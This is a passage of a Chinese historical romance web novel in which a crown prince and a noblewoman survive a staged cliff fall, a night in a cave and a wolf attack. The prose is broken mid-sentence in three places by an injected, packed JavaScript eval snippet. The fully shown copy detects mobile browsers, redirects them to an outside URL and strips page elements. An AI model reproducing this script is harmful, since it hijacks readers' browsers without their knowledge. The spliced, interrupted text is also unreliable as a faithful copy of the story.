不远处的悬崖已经可见轮廓。裴旖翻身下了马,晏绥将马拴好之后,两人沿着悬崖旁的小径一前一后走了下去。 这里说是小径,其实只是被看花的人开辟出来的一条略微稀松的树丛罢了。裴旖走在其中,不仅要谨慎躲着两侧的树枝防止被刮到,还要分神关注着脚下,这条路紧贴着悬崖,自是陡峭得厉害,下面也是深得一眼望不见底。 晏绥走在前面如履平地,但同样的路对于裴旖来说就有些艰难了,她紧抿着唇,沿路拽着两旁的树枝做缓冲,生怕自己脚底一滑撞到他身上,坠入悬崖,两尸两命。 空气中的梨花香气越来越浓郁,脚下的路也越来越险峻。走到最后一个下坡时,路面实在是太陡,裴旖站在上面踌躇不前,身前人跳下去后站稳转回身,向她伸出手。 裴旖略微犹豫,心里对于自己这个来悬崖峭壁下赏花的决定已然十分后悔,但眼下的她进退两难,单靠她自己的力量原路返回同样很困难,只能敛了敛神,垂眸倾身搭上了他的手腕。 他的大掌握住她的手臂,示意她可以放心跳下来。裴旖心中还是有几分矜持,不愿与他再有更亲密的动作,只是攀着他的胳膊尝试往下走,他也难得好耐心地等着她磨蹭。她紧盯着自己脚下,每一步都足够缓慢谨慎,可千防万防,还是不防踩上一块儿被青苔伪装成草地的石头上,脚下一滑,身体骤然失去控制,猛地往前跌了过去。 裴旖心脏重重一沉,下意识闭紧了眼,脑袋里胡思乱想着若是他们俩的尸体在悬崖下被发现到底算意外还是殉情,可面前的人却似乎对她这几斤几两早有预判,连身型没都动一下就轻轻松松接住了她,一只手扶稳她的胳膊,另一只手掐住她的腰身,在两人之间从容留出了半寸的距离,甚至还有闲心奚落她:“你还不如直接跳下来了。” 裴旖睁开眼,两颊些微有些发烫,匆匆从他肩上抬起脸,揉了揉自己被撞到的鼻尖。 她感觉到覆在自己腰上的力道松了,面前人似乎要放开她,却又莫名停顿一瞬,而后大掌再次慢慢收紧。 那力道在寂静中格外清晰,仿佛隔着幽幽转暗的天光握在她的心脏上。远处梨花的清甜与咫尺低幽的沉水香相缠扑进鼻息,她心跳忽然莫名加速,抬手轻轻抵住他的肩,正要叫他放开自己,余光瞟见峭壁上突然冒出了几个黑衣人,拔出的刀刃亮得晃眼。 裴旖瞳孔倏然一振,不待她反应,晏绥猛地将她推至一旁的树后。她踉跄几步站稳,看到面前又多出了几个黑衣人,阿卯也在其中。混战中双方各自的招式快到她眼花,又全都穿着一模一样的黑衣,她紧张躲在树后,完全不知他们是怎么分清楚敌我的,视线定来定去最后只能定在晏绥的身上。她凝神看了他许久,脸色越来越苍白严峻。 有晏绥本人与他的暗卫在,她原不应担心这场刺杀的结果,但尽管他出招沉稳凌厉,却连她一个不懂武功的人也能明显感觉到他的力不从心,有几次能一招致命的机会都被对方侥幸逃过,比起上一世她见过的那个招招狠戾不给对方留一点活路的晏绥差远了。 她不禁暗想,到底是上一世他经历了凉昭一战才变成了她所看到的那副模样,还是此刻他身上真的余毒未清,已经到了如此严重的地步? 她正出神,一支暗金色的飞镖嗖一声呼啸而过,擦着她的耳廓落在她身后的岩石上。裴旖身体蓦然一僵,意识到自己的位置不再安全,可是又没有更好的地方可以躲。眼前的交战还在继续,又来了几名侍卫后,对面几个人明显招架得逐渐吃力,被逼得连连退后,却一个人也没有逃跑,反而生出了股背水一战的狠劲儿来,似乎今日不死不休。 其中一人见晏绥这边难以突破,扭头向峭壁下飞快奔来,盯准了这个唯一不会武功的异类,猛地提剑向她砍了过去。裴旖完全是依靠着身体本能后仰,凌厉剑气擦着她的鼻尖而过,惊得她呼吸都骤停了,突然空中一柄匕首掷来,打飞了悬在她面前的剑,接着她感觉到自己被人用力提起后颈,眼前的景象天旋地转,她腿一软,跌进一具气息熟悉的怀抱里。 晏绥单手抱紧她,面前刺客再次挥剑刺了过来,而在他们身后同时放来若干支暗金色冷箭,更糟糕的是这一处平台的面积本就相当有限,两人眼下所站的位置更是接近边缘,十分危险。 生死攸关前再顾不上矜持,裴旖攀紧了身前的人,声音沙哑提醒:“后面——” 晏绥一脚踹开身前的刺客,同时循着声音抱着怀里人闪身惊险躲过了那几支箭,但还未等站稳,那刺客爬起来锲而不舍地再次向两人劈了过来。 依着剑气袭来的角度,刚好能劈断裴旖的脖子。她本能闭紧眼睛缩进了晏绥怀里,下一瞬,想象中的疼痛并没有出现,取而代之的是一声低沉闷哼。 裴旖慌张睁开眼,还未看到晏绥是哪里受了伤,先看到他脚后的石块已经出现松动。她惊恐不已,刚要出声提醒他小心,耳畔再次传来利刃穿进皮肉的声音,她心里哀哀唤了声不要,看见他被逼得左脚向后狼狈退了半步,堪堪抵住悬崖边缘,已经摇摇欲坠的石土似乎再也承受不了如此大的冲力,瞬间破碎瓦解。 “殿下!!” “郡主!!” 东宫众人纷纷从打斗中抽身奔到崖边,只见两道身影在深不见底的山崖中渺小得就像是那些碎裂的石块,沉沉向着最深处坠了下去 *** 夜色幽静,万籁俱寂。 裴旖逐渐苏醒过来,伏在地上缓慢恢复意识,身体除了头晕外并未觉出其他不适,唯独后颈酸痛得古怪。 很快,她记起了自己失去意识之前的处境,没有将脖子上这一点异常放在心上,急切睁开眼,暗暗环顾四周,发现自己身在一处山洞中,不知已经昏睡了多久。外面的天色已经全然黑透,她伏在晏绥的披风上,披风的主人靠坐在洞口旁,双目紧闭,唇色有些苍白,左臂与腰间的血迹氤过衣袍,看起来触目惊心。 她暗暗心沉,拧眉手撑着地坐了起来,确认自己身上没有外伤后,她起身忍住晕眩,轻手轻脚走到他身旁蹲下,声音更轻地唤了句:“殿下?” 面前的人没有反应,她抬手在他鼻息前探了探,觉察到他的气息十分微弱,心一紧,眸色微敛,顾不上男女大防,低头扯开他的外袍露出里衣,还欲继续再往里时,头顶突然幽幽响起声音:“你做什么?” 裴旖扒衣服扒得太过专注,以至于连他是什么时候睁开眼的都没有注意到,她被骇了一跳,两只手攥着他的衣襟停在他胸前,继续也不是,松开也不是,半晌,才嗫嚅着回:“……查看伤口。” 晏绥垂眼看向被她扯得乱七八糟的衣服,眉头不悦拧起。 他身体虽然受了伤,可气场里的压迫感分毫未减,裴旖硬着头皮将他的衣服逐层整理回原样,连领口的褶皱都给抚平了,面前人这才收起视线,漠声道:“上过金创药了。” 裴旖点点头,蹲在他身前没有动。晏绥瞟她一眼:“有话就说。” 她心中确有诸多疑问,但还是毫不犹豫摇头:“殿下有伤,还是先别说话了。” 他看她片刻,淡淡回道:“小伤,无妨。” 裴旖想了想,谨慎开口问:“方才坠下山崖后,都发生了什么?” 她记忆里最后的画面停留在两人坠崖时远远看到的梨花,当时他抬手护住了她的头,那之后发生了什么她便一概不记得了。更奇怪的是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个问题怎么回都是坑,裴旖索性不答反问:“听闻殿下的暗卫神通广大,难道找到此处竟需要如此之久?” 他的语气真假难辨:“外界传言不实,肉体凡胎何来神通广大?他们若真有那般厉害,方才又怎会挡不住几个刺客,还连累郡主也落下山崖?” 裴旖无言以对,但东宫暗卫虽然有被夸大其词的可能,可上一世的晏绥是什么样子她是亲眼见过的。她沉默看一眼面前的人,欲言又止。 她的纠结自然被面前人尽收眼底,他懒散淡漠道:“此处只有你我二人,郡主有话不妨直说。” 裴旖迟疑开口:“殿下上次遇伏时所中的毒,很严重?” 他模棱两可回:“很棘手。” 她掂量着措辞:“对殿下的影响大吗?” 他反问:“郡主所指的是?” 她认真答:“体力。” 空气静了一瞬,两双眼无言相望,少顷之后,裴旖恍然反应过来自己此话的歧义,脸颊腾地红了,急忙修正:“……臣女的意思是,武功!” 男人没有立刻回答,也没有像平常一样不咸不淡奚落她两句,他看着她的脸,狭长黑眸深不可测:“郡主为何这般问?” 裴旖被问住,一时踌躇着该如何回答,没有觉察到他眸底深藏的探究与危险。 大概是只从她的神色里看到了纠结,没有看到心虚闪躲,晏绥眸里的锋利稍敛,半真半假笑了下:“看来郡主对孤今日的表现,很失望。” 这又是一道送命题,裴旖想都没想,坚定摇头:“臣女并非失望,只是担心。” “担心什么?” “担心——” 男人漫不经心威胁:“再说一句假话就把你丢出山洞喂狼。” 裴旖无语抿唇,心道这人什么毛病,好好的场面话他不听,非要听点儿难听的,心一横,遂着他的意扬声道:“担心殿下武功尽失,不能再庇护臣女!” 话出口后裴旖才后知后觉意识到自己的声音有点大了,两人沉默听着山洞里绕了几个来回还没散干净的回声,场面一时静得有些尴尬。 裴旖在面前人神色不明的注视下冷静下来,低下脑袋小声找补:“当然了,那样的几率只有万中之一,殿下福泽深厚,定能化险为夷。” “若是不能呢?” 晏绥意味深长掀唇,“郡主可就要弃孤而去,另寻他人庇佑?” 他这问题分明是在刁难她,裴旖未置可否,镇定回他:“臣女的危险是因殿下而起,因而普天之下,只有殿下能庇护臣女。” 他听言笑了:“你是在让孤对你负责?” 裴旖直白道:“臣女的意思是,殿下与臣女,可以互相各取所需。” 没有人比她更清楚,晏绥回京这么久了,却并没有为难她甚至偶尔还纵容她,这至少说明自己对他而言还有利用价值,对于一枚棋子来说,这是好事。 山洞外隐隐响起滚滚的闷雷声,面前人无声看着她的脸,那目光如有实质,仿佛能将人的表层剖开。许久,他忽然问:“你叫什么名字?” 裴旖一怔,而后反应过来他问的是自己的本名:“臣女单名一个旖字。” “旖旎?” “是。” 他没有过多评价,只道:“陆婉柔这个名字不配你。” 裴旖微微牵了下唇,未置可否,又听见他再次开口:“女子温婉柔和,你两样都不沾边儿。” 她唇角无语轻抿,以为他又是在戏谑自己,不曾想他接着沉淡道:“但也无妨,你自有口齿和胆识,这些东西比温婉柔和更有用。” 裴旖愣了下,颇感意外,他竟然在夸她吗? 见面前人定定望着自己,黑眸惊讶圆睁,也不知是因为诧异他会说这样的话,还是因为她从前很少被人夸赞。 晏绥垂眼看她片晌,她的身体在夜色中显得分外单薄,仰起的白皙脸庞只有巴掌大小,漆黑眸底映着火光,亦或是这一刻她本身的光芒。他忽然鬼使神差地很想抬手抚她的脸,但在手指抬起的一瞬,又被他不着声色压了回去。 他收起视线,低声岔开话题:“今日你救了定北侯之女,回京之后孤会告知父皇,请他赏赐于你。” 裴旖听言微怔了怔,而后会意他是在解释方才为什么会称赞她有胆识。 她所以为的真心夸赞,也不过是他出于感谢的随口客套罢了。 她眼眸里的光略微黯淡下去,但很快,她又笑了,仿佛什么也没有发生一般,语气轻快问:“苏姑娘是殿下重要的人吗?” 洞外雨淅淅沥沥下了起来,晏绥转过眼看她,没有回答,她面不改色微笑强调:“臣女今日救了殿下重要的人。” 晏绥轻哂,原来是又来跟他讨好处呢。 “这次想要什么?” “昨日臣女听闻,圣上已经在为臣女与殿下的婚事挑选吉期。” 她的语气平静,不见羞涩,仿佛是在谈论别人的事,“臣女希望,殿下能设法拖延我们的婚期。” 25. 第 25 章 入夜,裴旖躺在山洞里侧的空地上,身上盖着晏绥的披风。他靠坐在火堆的另一侧,阖着眼,呼吸很轻。 雨水倾盆浇筑在洞门外,裴旖原本睡眠就浅,被这声音吵得更加难以入眠。她半睁着眼,目光漫不经心描摹着石壁上的纹路,直到两人间的火堆明明灭灭燃尽,她的眼皮终于抵挡不住倦意,沉沉睡了过去。 雨越下越大,裹挟着狂风掼进山洞,洞内的空气愈发阴凉潮湿,裴旖蜷缩裹紧了身上的披风,呼吸里堵塞的鼻音越来越重。她皱着鼻子很不舒服地哼了哼,半梦半醒间,她感觉头顶的风好似忽然小了,紧接着后颈被贴上一处干燥的热源。 粗粝的指腹捏着她颈后的皮肉,仿佛拎起一只狸猫,而后不知用什么东西垫到她脑后,她的鼻息这才通了,翻身仰躺过来,仿佛舒服得露出肚皮的小猫,发出一声满足的轻叹后,还贪心地想离那温热再近一点,转头将脸颊贴在那只手掌上,软乎乎地蹭了蹭。 对方显然没有料到她这样的举动,动作一顿,随即试图抽回手起身,但地上的人就像只粘人的狸猫,紧追着他的手掌不许他离开。一梦一醒的两人僵持片晌之后,最终是醒着的人败下阵来,无奈留下来用身躯为她挡住外面的风,她这才满意,鼻音咻咻地哼了一声,枕着他的手睡得更香甜了。 隔天裴旖醒过来时,雨停了,但天还是阴沉沉的,看不出是什么时辰。 她迷迷糊糊坐起来,动了动手脚,心里暗觉稀奇,自己一向体寒,昨夜这么大的风雨,她只盖着一件披风,竟也没觉得很冷。 她不禁感叹东宫的东西品质果真是好,放下怀中的披风,环顾寻找着另一人的身影。洞内空无一人,她起身走出洞口,对方就像是特意赶在她醒来时回来的一样,她望着那道熟悉的身影,见他走路的姿势与平常无异,只是脚步慢了许多。裴旖略有担心,待他走近后,看到他手里若干紫红色的浆果,有些意外:“殿下出去找吃的了?” 晏绥嗯一声,将手里的果子全都给了她。 她的手没有他那么大,只能把果子全都捧在手臂里,见他脸色苍白捂着伤口缓慢坐到地上,心中十分羞愧自责,自己怎么能睡得这么沉,让一个受伤的人出去觅食? 地上人见她站着不动,瞟一眼她:“不饿?” 裴旖摇摇头,蹲下身将这些果子放到了地上铺着的树叶上。 其实她昨夜就很饿了,但这会儿一是刚醒来没什么胃口,二来眼下还有更重要的事:“方才殿下出去时,可看到外面的情况如何了?” 昨夜他们是因为暴雨和受伤才不得不在山洞歇息,现下雨已经停了,他也休息了一夜,与其在原地等待救援,还不如自己寻找出路。 “不好。” 对方一句话断了她的念想,“昨夜暴雨,山上有塌方,山洞外的路被堵住了,现在连昨日坠下来的地方都回不去,只能等待别人来救。” 裴旖没有想到情况这么糟糕,面色沉凝片刻,很快接受了眼前的处境,又问:“殿下现下感觉如何?需要臣女帮你换药吗?” 他靠在石壁上,半阖着眼道:“金创药昨晚用尽了。” 裴旖静默少顷,提议道:“那臣女出去看看有什么可以用的药草。” 他出声制止:“很快还会下雨。” 裴旖抬头望一眼外面的天,天边阴得宛若泼开的墨,但那阴云要过来也消一时半刻,她一边起身,一边回道:“臣女尽快。” 晏绥睁开眼,见她动作利落地将披风披回到他身上,而后毫不迟疑迅速抬脚离开,在她即将踏出洞口时,他突然叫她:“裴旖。” 裴旖脚下一顿。 从上一世她来到上京之后,已经很久没有人叫过她原本的名字。这种感觉很是陌生与久违,裴旖有一瞬恍惚,怔几秒才想起来回话:“殿下还有吩咐?” 晏绥收起视线,语气听不分明:“外面危险。” 裴旖顿了下,很快会意,一来外面刚下过雨山路湿滑,二来此刻在寻找他们的除了东宫的人,恐还有昨日的刺客。他倒也不见得是在担心她的安危,大约只是怕她会惹出麻烦牵连到她罢了。 既如此,她不再坚持,走回山洞,在离他两步远的地方坐下,拿起一颗果子,咬一小口后,隐隐皱了下眉。 她平常就不太能吃酸,但眼下也没有什么可挑的,咬几口囫囵咽下去后,她悄悄瞟一眼身旁的人,见他闭眼轻按着眉心,脸色似有些疲倦,她试探出声:“昨夜风雨交加,殿下可是没有休息好?” 他静了片刻,淡声反问:“昨夜有狸猫出没,郡主没有发觉?” “狸猫?” 裴旖茫然摇了摇头,“跑进山洞里了?” 晏绥嗯一声,睁眼看向她的脸:“很娇弱的一只狸猫,被冻得瑟瑟发抖,鼻息很重。” 关于他所描述的画面裴旖没有丝毫的记忆:“殿下是因为……照看它才没有睡好的?” “是,她很粘人,一直缠着孤。” 裴旖暗暗讶异,心里默默诽道,好大胆的狸猫,若非是面前的人因为受伤才生出几分善心,恐怕昨夜它的猫皮不保。 “那它身体恢复之后,又自己跑走了?” 晏绥意味深长道:“是啊,可惜她一觉醒来后便什么都不记得了,若她还似昨夜那般粘人,孤很想将她带回东宫。” 裴旖不疑有他,认真回道:“山中的狸猫虽也通人性,但到底野性难驯,殿下若是喜欢,回京后再挑一只性情温顺的养在东宫就是了。” 他散漫扯唇:“倘若孤想要的,就只是这一只呢?” 裴旖的心头莫名跳了一下。不知为何,她从面前人的漆沉眸中隐隐察觉到了危险,仿佛一场力量绝对悬殊的猎取,真正被盯上的也不是那只野狸,而是她自己。 她压住了这一瞬异样的慌乱感,转开眼,半开玩笑道:“那殿下恐怕是难以如愿了。” 他饶有兴味问:“为何?” 裴旖还未来得及回答,一块碎石擦着她的面颊掉到了地上。 她被骇了一跳,仰起脸警惕环顾四周,只见头顶的石壁似有松动的迹象,唯独晏绥所在的角落暂时还没有被波及。他在阴影中无声看着她的脸,她仰着头没有发觉,沉着判断道:“这个山洞可能不安全了,臣女出去看看周围是否还有其他容身之处。” 这一次身旁人没有像方才一样制止她。裴旖快步走出山洞,但不到半刻时间,她又一脸凝重地匆匆回来了,一声不响地在他身旁挨着蹲坐下来,闷声道:“咱们还是在这里待着吧。” 晏绥看过来,见她呼吸有些不稳,脸色比方才出去前紧张不安得多,现场黑眸敏锐眯起:“外面有什么?” 裴旖定了定神,轻声回:“狼。” 灰黑色的狼,原本只是一只背对着她,她看到后轻手轻脚转身想退回来,奈何那东西的耳力极好,她才挪了两步就被发现,最后是借着地形的优势才逃了回来,直到走到洞门前她方敢悄悄回头,这一眼看得她头皮悚然发麻,树林中这样的灰色躯影竟然还有许多,她粗略扫一眼,至少有十来只。 身旁的人沉默未语,裴旖心里也很没底,但还是勉强扯了下唇,硬着头皮宽慰道:“它们应该上不来这里,这个山洞暂时还安全。” 晏绥沉眸看着地上那小堆紫红色的浆果,半晌后,忽然问:“你好像不喜欢吃果子?” 裴旖莫名其妙看着他,心道这都什么时候了,还说这些? 他抬眼望过来,语气闲散,仿佛只是在随口讨论今天的晚膳:“喜欢吃狼肉吗?” 裴旖闻言瞳孔一振:“不必了吧?!” 她现在不被狼吃就谢天谢地了,狼肉也是她可以吃的东西吗? 晏绥淡淡道:“你不去吃它,它便会来吃你。” 裴旖面露难色,道理是这么说没错,可问题是他们俩现在一个伤一个弱,就这个配置,还想屠狼? 晏绥从怀里抽出匕首,左手撑着膝要起身。见他要来真的,裴旖忙拽住他的手臂慌张阻拦:“殿下!” 洞外传来一声狼啸,听起来已经很是接近他们藏身的山洞。 裴旖瞬间寒毛竖起,顾不上男女有别,单膝跪在地上起身,用力压着晏绥的膝盖将他按在原地,同时伸出手指向他急急比了个噤声的手势。 对方这次难得没与她唱反调,安静由她压着,一语未发。 裴旖回过头看向外面,洞门外有处低洼的空地,从他们的高度隐约能看到不止一双的灰色耳朵,仿佛是闻到了人的气味,正在空地上来回寻找。 裴旖紧张屏住呼吸,扣在他肩膀上的手指骤然收紧。晏绥拧眉垂眸看了一眼,低沉出声:“你——” 裴旖的注意力全都聚集在山洞外,眼见着其中一只狼渐渐露出了眼睛,她的心脏猛然提起,想都没想就抬手捂住了他的嘴,同时压低身体尽力将自己隐没在角落的阴影中。 山洞内陷进死一样的沉寂。裴旖静气凝神观察着外面的情况,直至那几只狼寻了半天最终一无所获陆续离开,她才终于松懈下来,同时后知后觉感受到掌心里一呼一吸的热气,迟钝意识到自己方才做了什么好事,脑袋里“嗡”地一声裂开。 她竟然敢捂太子殿下的嘴??她还不如直接去捂狼的耳朵!! 根本不敢回头看晏绥此刻的脸色,裴旖身体僵硬低着头,硬着头皮慢吞吞将自己的手从他脸上收回来,好像只要她的动作够轻,对方就不会发现方才被她捂过嘴似的。 晏绥冷眼看着她这副掩耳盗铃的模样,心中冷哂她总有本事给他气得牙痒发笑,然后再作出一副柔弱无辜相:“方才的情形殿下也看到了,事出紧急,臣女也是无心之失。” 她越说声音越小,尾音心虚得几乎听不到,晏绥看她半晌,一言未发。 裴旖低头忐忑等着他的反应,觉得他阴晴不定的模样比发起火来更可怕,暗自憋了半天,忽然弱弱问:“殿下还想吃狼肉吗?” 男人终于开口:“怎么,你去杀?” 她摇了摇头,垂着眼可怜兮兮道:“昨日殿下就想将臣女喂狼,如今臣女犯下弥天大错,想来是逃不过了。若是臣女能以身将狼喂饱,放松它们的警惕,待会儿殿下出去杀狼的时候想来也会更容易。” 晏绥短暂默了瞬,继而无奈失笑。 他见多了在他面前痛哭流涕认错求饶的人,还从未见过像她这般犯了错还伶牙俐齿花招百出的。她用胡说八道哄人的这一套对于他来说甚是新鲜,他扯开唇,讥诮戏谑:“猫能把狼喂饱?塞牙缝都不够。” 还未来得及去深思他这句话的含义,裴旖余光瞟见洞外悠悠迈过一双灰白相间的爪子,接着是前腿、胸口、下颌、眼睛。 一只狼逆光站在洞口前,壮硕的身型完全现了出来,它定定盯住他们二人,眼里露出犀利饥渴的寒光。 裴旖缓缓睁大了眼,身体僵直向后仰过去,而那只狼好像也在观察,停在洞门外没有继续往前。她心脏狂飙,喉咙紧张得发干,右手撑在身侧的地上,另一只手下意识想抓住些什么抵抗这扑面而来的恐惧感,颤着声音道:“殿下,你的狼来了!” 晏绥瞟一眼被她攥紧的衣角,声音淡漠,仿佛事不关他一样:“这里地方太小,孤施展不开。” 裴旖心中暗骂,她早就说他比上辈子的晏绥差得远了,明明是他自己不行还在这里挑三拣四,关键时刻一点也指望不上! “那怎么办?” 他气定神闲:“等。” 她面露绝望:“等什么?”等死吗?! 似乎是察觉到面前的两人不足以构成威胁,那匹狼试探往前迈了一步。 再不反击是真的会死在这山洞里尸骨无存,裴旖喉咙里不自觉惊恐嘤咛一声,摸索着想去抓他方才抽出来的那把匕首,指尖触碰到冰凉刀柄的瞬间,她的手腕意外被握住,接着眼前的光线蓦然一暗,她被一道强大的力道揽进披风,撞进一具温热而坚实的怀抱里。 耳边传来利物尖锐划破空气的声音,她无暇去辨认,也无法回头,墨色披风和没药香气将她同身后危险完全隔绝开来,她的视野有一瞬是全黑的,将她耳边的幽幽叹息显得愈发清晰:“你只有在气孤的时候胆子最大。” 裴旖恍惚从他的语气里听出半分宠溺,但这个荒谬念头在她脑海里一闪而散,她小声否认:“臣女没有。” 没有时间再奚落她,晏绥沉声叮嘱:“孤去把它引开,你待在这里别动。” 裴旖抬眼看向面前的人,与其两个人一起等死,或是她独自出去送死,他所说的确实是眼下最佳的方法了。 此刻他们两个人的性命都托付在他一个人身上,她是真心实意担心他的伤能不能应对这样的场面,但又帮不上他什么忙,只能默默在心里撤回了方才对他的诽谤,同时轻声道:“殿下小心。” 晏绥漫不经心嗯了声,垂眼将披风全部披到了她身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098201|160640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从她的头开始围住。 她的单薄身影在他的披风包裹下显得愈发白皙娇小,他的目光不自觉在她脸上停留,少顷后,忽然低声道:“披风的暗袋里有迷药。” 少女抬起蓦然亮起的黑眸,以为他是想出了什么屠狼的妙计要她打配合,忙不迭点点头,竖起耳朵倾身听得认真,全然没有意识到两人此刻的距离过于亲密了。 而面前的人不仅意识到了这一点,还故意低头附到她耳边,将两人的距离压得更近:“万一孤寡不敌众,你提前服下,被狼吃的时候也能体面些。” 裴旖:“…………” 殿下他人还怪好的呢。 眼见着小狐狸眼里燃起的光亮倏然灭了,一脸幽怨地抿唇望着自己,晏绥心情莫名大好,唇尾淡淡牵起,大掌隔着披风在她脑袋上揉了两下,站起了身。 在他起身的一刻,洞外传来一阵狼群的嘶鸣,那声音尖锐得瘆人,洞门前的狼警惕看着面前的男人,它的前爪前插着一把匕首,刀刃深深没进了地面里。 仿佛是被男人身上强大的森冷气场所震慑,它警惕缓慢向后退步,直至退离洞口,又一声凄厉嘶叫响起,大概在狼群中不是个好的讯号,它不再僵持,慢慢退几步后,转身跑了。 晏绥循着声音走到不远处的树丛中,两匹狼被拦腰砍断,四周鲜血四溅,散落着血淋淋的断肢与毛皮,场面十分残忍血腥,显然是刚刚发生过一场恶战。 他缓步走近,瞟一眼地上单膝跪在狼群尸体后地上的两人,冷冷开腔:“你们怎么不等孤死了再来?” 两个暗卫低头互看一眼,二脸委屈。 冤枉啊!昨夜大雨,山路难行,他们刚一下来就看见郡主离开山洞,正要进去时又见郡主急匆匆折返回来,还带回来好几匹狼。他们担心殿下被攻击,也怀疑这狼群有蹊跷,遂引着它们到了这里,奈何人少狼多,还是漏掉一只偷袭去了山洞。 阿辰暗暗清了清嗓子,沉稳开口:“殿下,这狼的尾巴上烙有私印,应该不是山中的野狼。” 不是野狼,那便是私人豢养的了。 私人养的狼在太子坠崖后成群出现在崖底,是何缘由,不言而喻。 晏绥提了下唇,眸底幽寒。 面前的人继续汇报道:“殿下坠崖之后,郭恒贪墨案所涉四人突然纷纷翻供,否认曾接受地方官员贿赂,先前所供出的往来名单也皆是入狱之后屈打成招。今日早朝,御史参奏殿下残酷不仁,断案无道。” 晏绥负着手冷哂一声。这四个人皆是先帝留下来的老臣,在朝中颇具势力与威望,背靠着璟王府,结党营私,贪污受贿,他早就想拿这几个人开刀了,先前因出征凉昭而暂时搁置,此次他突然回京,也打了这几个人一个措手不及。 可毕竟是三朝为臣的老油条,想定他们的罪哪有那么容易?在朱雀司连续几日的折磨下,他们虽然陆续张开嘴了,所供之词却真假参半。最近几日东宫的人一直在这几个老东西的家里搜寻,但最大的一笔赃款至今下落不明。 这样僵持下去不是办法,倘若这一次让他们侥幸溜走,下次再想抓住他们就更难了。他有心给他们一个露出马脚的机会,策划了这次坠崖,果然他们也不负他的期望,这么快就开始动作了。 晏绥沉声吩咐了几句,地上两人点头应是,随后问道:“那殿下预备何时回京?” 他没有立即答话,垂眸瞟着地上一条狼腿,心不在焉想,瘦是瘦了点,喂猫倒也够了。 那就等到雨过天晴,梨花再开的时候吧。 他敛起视线,神色莫测:“不急。” * 晏绥走进山洞时,外面再次下起了雨。 山洞里的身影仍守在他离开时的位置,脑袋低低垂在胸前,裹着他的披风一动不动。 他心头蓦地一重,快步走过去,沉沉叫了声:“裴旖?” 裴旖睡得迷迷瞪瞪,惺忪睁开眼,声音暗哑,带一点鼻音:“殿下……狼走了嘛?” 晏绥在她面前蹲下,上下看一眼她,确认她无碍后:“嗯,走了。” 裴旖点点头,而后皱了皱眉,在自己身上左看看,右看看,很不满意的样子:“这披风……” 他循着她的视线看过去,没看出异常:“披风怎么了?” “披风不暖。” 面前的人似是还没完全清醒,嘟嘟囔囔抱怨,“昨夜就很暖。” 晏绥一怔,明白过来她在说什么后,失笑抬手将披风在她身上裹得更严,只露出张迷迷糊糊的白皙脸庞,乍一看像是只剥开皮的白米粽子,又糯又软。 他喉结晦暗滚了一下,手指无意间碰到她的脸颊,触感滑腻而冰凉。 看来真是给他的小狐狸冷坏了,他收回手,复隔片刻才又收起视线:“孤去生火。” 裴旖点了点脑袋,看着他的背影,思绪逐渐清明,见他身上似乎没有新的外伤,她暗松一口气,轻声问:“殿下的伤口可还无碍?” 晏绥单膝蹲在地上,嗯一声,手上的动作未停。火光映亮他的脸,将他面部的棱角显得愈发分明。 她有些担心:“它们还会再来吗?” 他不假思索回:“不会。” 裴旖不解看向他:“殿下为何——” 话说到一半,她的目光定在他身后那只血淋淋的狼腿上,瞠目结舌语顿。 晏绥等了片刻不见她的下文,掀眸看她一眼,注意到她的视线定在地上,不咸不淡揶揄:“孤今日的表现,郡主可还满意?” 裴旖面色微窘,抿了抿唇。见他心情像是不错,这荒郊野岭的,她也懒得像平常一样哄着他,裹了裹披风,顺着他的话道:“尚可。” 许是他也实在是太闲了,一边往火堆里添着木枝,一边慢条斯理请教:“郡主认为,孤还需要改进哪里?” 洞外的落雨声与燃起的火苗声交织在一起,明明每一种都是纷扰,可在这山谷中却有种与世隔绝的寂静,仿佛这世间只剩下这两种声音,也只剩下这两个人。 裴旖莫名出神想起上一世她最后见到的那个晏绥。当时整个皇宫已经沦为废墟,他下令一把火烧了太和殿,而后也是这样独自坐在火堆前的台阶上,面庞被映得忽明忽灭,冲天的火光也驱不散他周身的孤寂。 静默半晌,她神思恍惚开口:“殿下。” “嗯?” “你会在什么情况下,为一个你讨厌的人……安葬?” 26. 第 26 章 片刻的寂静之后,晏绥缓声重复了一遍她的问题:“孤讨厌的人,安葬?” 话音落下后裴旖回过神来,也后知后觉意识到自己这个问题的荒唐。但事已至此,她只能硬着头皮点点头,托着腮作出一副天马行空突发奇想的表情。 晏绥将手里的树枝丢进火里,语气轻慢:“东宫杀人一向是管杀也管埋,这算安葬吗?” 裴旖无语抿唇,心道这要是算安葬,那上辈子的她就是厚葬了。 反正话都已经问出口了,她追问:“倘若这个人不是东宫所杀呢?” 晏绥抬眸看过来,目光在她脸上审度片刻:“郡主莫不是在担心自己方才死在这山洞里,无人收尸?” 裴旖怔了怔,应下了他给的这个理由:“……正是。” 面前人低哂一声,似是嫌她幼稚,不再回应她的问题。可他越是不回应,裴旖心里就越是痒得难受,她故意道:“殿下身负重伤,想必有心也无力,不给臣女收尸也是情理之中。” “郡主多虑了,被狼盯上的人是不会有全尸的。” 对方并不吃她激将这一套,慢悠悠道,“虽然孤与郡主还未来得及结为夫妻,但好歹也兄妹一场,于情于理,孤都会去捡一块郡主的骨头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢颜拖长尾音喔了一声:“那其他的就都确有其事咯?‘晏郎’也是真的啦?” 